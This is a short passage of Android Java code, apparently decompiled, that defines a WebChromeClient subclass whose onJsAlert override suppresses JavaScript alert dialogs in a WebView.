    public static class MyWebChromeClient extends WebChromeClient {
        @Override
        public boolean onJsAlert(WebView webView, String str, String str2, JsResult jsResult) {
            return true;
        }

        private MyWebChromeClient() {
        }
    }
}